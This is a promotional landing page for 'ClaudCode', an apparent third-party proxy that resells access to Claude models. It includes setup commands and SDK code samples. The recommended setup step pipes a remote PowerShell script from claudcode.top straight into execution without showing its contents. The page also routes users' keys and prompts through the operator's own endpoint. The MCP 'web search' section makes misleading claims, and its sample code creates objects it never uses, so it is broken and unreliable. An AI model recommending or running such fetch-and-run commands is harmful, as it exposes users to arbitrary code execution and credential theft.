All Claude Models Live & Ready

Unleash Claude's Power
Through Your Own Gateway

Premium access to Claude Opus 4.6, Sonnet 4.6 & Haiku 4.5. Per-key budgets, real-time analytics, streaming support — all wrapped in a blazing-fast API proxy you can plug into any SDK.

99.9%
Uptime
<80ms
Avg Latency
3
Claude Models
Streaming
Why ClaudCode

Built for Developers Who Ship

Everything you need to distribute, manage, and monitor Claude API access — without the complexity.

Granular Key Controls

Assign individual budgets per API key with rolling 5-hour windows. Perfect for managing teams, clients, or resellers.

Live Analytics Dashboard

Every request is logged with model info, token counts, latency, and status. Monitor usage patterns in real-time.

Blazing SSE Streaming

Full Server-Sent Events pass-through. Get token-by-token streaming responses with zero overhead or buffering.

Key Isolation & Security

Each API key operates in its own sandbox with independent rate limits, budgets, and permissions. Zero cross-contamination.

SDK Drop-in Ready

Works instantly with the official Anthropic SDK. Just swap the base URL and you're live. No code changes needed.

Smart Prompt Caching

Automatic prompt caching reduces repeated token costs. Same prompt? Cached response. Save tokens and money effortlessly.

Available Models

Choose Your Claude Model

Access the full Claude family through a single gateway. Switch models per request — no config changes needed.

RECOMMENDED
Premium

Claude Opus 4.6

The most powerful Claude model. Ideal for complex reasoning, code generation, advanced analysis, and multi-step tasks.

Context200K tokens
SpeedModerate
IntelligenceMaximum
  • Deep reasoning & analysis
  • Complex code generation
  • Research & synthesis
  • Multi-step planning
Use Opus
Popular

Claude Sonnet 4.6

The perfect balance of speed and intelligence. Great for everyday coding, writing, and conversation tasks.

Context200K tokens
SpeedFast
IntelligenceHigh
  • Balanced performance
  • Code assistance
  • Content creation
  • Data processing
Use Sonnet
Lightning

Claude Haiku 4.5

Ultra-fast responses for simple tasks. Perfect for chat, classification, extraction, and high-volume workloads.

Context200K tokens
SpeedFastest
IntelligenceGood
  • Instant responses
  • Classification & tagging
  • Simple Q&A
  • High throughput
Use Haiku
Integration

Up and Running in 60 Seconds

One PowerShell command sets up your entire project. Or configure manually — your choice.

Recommended
01
01

One-Click Setup

Run our PowerShell setup script to instantly scaffold a new project with the Anthropic SDK, environment config, and example files — all pre-configured for the ClaudCode gateway.

The script will:

Check Node.js & npm prerequisites
Create project with package.json
Install @anthropic-ai/sdk
Generate .env with your API key
Create ready-to-run example scripts
Set up streaming example
powershell
# Run this in PowerShell to set up everything automatically
irm https://claudcode.top/setup.ps1 | iex
02
02

Or Set Up Manually

Prefer manual control? Install the SDK, swap the base URL to our gateway, and you're connected. Works with any existing Anthropic project.

bash
npm install @anthropic-ai/sdk

# Then in your code:
import Anthropic from "@anthropic-ai/sdk";

const client = new Anthropic({
  apiKey: "sk-cc-xxxxxxxxxxxx",
  baseURL: "https://api.claudcode.top/v1",
});
03
03

Build & Ship

Start making API calls. Streaming, tool use, vision — everything works exactly like the official Anthropic API. Zero code changes needed.

typescript
const response = await client.messages.create({
  model: "claude-opus-4-6",
  max_tokens: 4096,
  messages: [
    {
      role: "user",
      content: "Explain quantum computing"
    }
  ],
  stream: true,
});

for await (const event of response) {
  if (event.type === "content_block_delta") {
    process.stdout.write(event.delta.text);
  }
}

After Setup, Just Run:

node index.js# Test connection
node stream.js# Test streaming

Both files are auto-generated by the setup script with your API key pre-configured.

Required for Search

Enable MCP for Web Search

The official Anthropic SDK does not include MCP (Model Context Protocol) support. Without it, Claude cannot perform web searches, fetch live data, or connect to external tools. ClaudCode solves this with @hono/mcp + tavily-mcp for advanced AI-powered web search, extraction & crawling.

Without MCP

  • No web search capability
  • No live data fetching
  • No external tool connections
  • Claude is limited to training data only
  • Cannot access URLs or APIs in real-time

With @hono/mcp + tavily-mcp

  • Full AI-powered web search via Tavily
  • Extract content from any URL
  • Crawl & map entire websites
  • Real-time data + domain-specific filtering
  • Connect custom tools & external APIs
  • Works seamlessly with ClaudCode gateway

Install MCP

terminal
npm install @hono/mcp tavily-mcp
typescript
import { McpServer } from "@hono/mcp";
import { TavilyMcp } from "tavily-mcp";
import Anthropic from "@anthropic-ai/sdk";

const client = new Anthropic({
  apiKey: "sk-cc-xxxxxxxxxxxx",
  baseURL: "https://api.claudcode.top/v1",
});

// MCP server — connects Claude to external tools
const mcp = new McpServer({
  name: "claudcode-mcp",
  version: "1.0.0",
});

// Tavily — AI-powered search, extract & crawl
const tavily = new TavilyMcp({
  apiKey: process.env.TAVILY_API_KEY,
});

// Claude can now search the web, extract content
// from URLs, and crawl sites in real-time
const response = await client.messages.create({
  model: "claude-opus-4-6",
  max_tokens: 4096,
  messages: [
    {
      role: "user",
      content: "Search the web for latest AI news"
    }
  ],
});

Note:Both packages are required for search & live-data functionality. Anthropic's official SDK alone cannot perform web searches — @hono/mcp provides the protocol layer and tavily-mcppowers the actual search, extraction & crawling.

Ready to Supercharge Your AI Stack?

Invite-only access to Claude Opus 4.6, Sonnet 4.6, and Haiku 4.5 — all through one reliable gateway.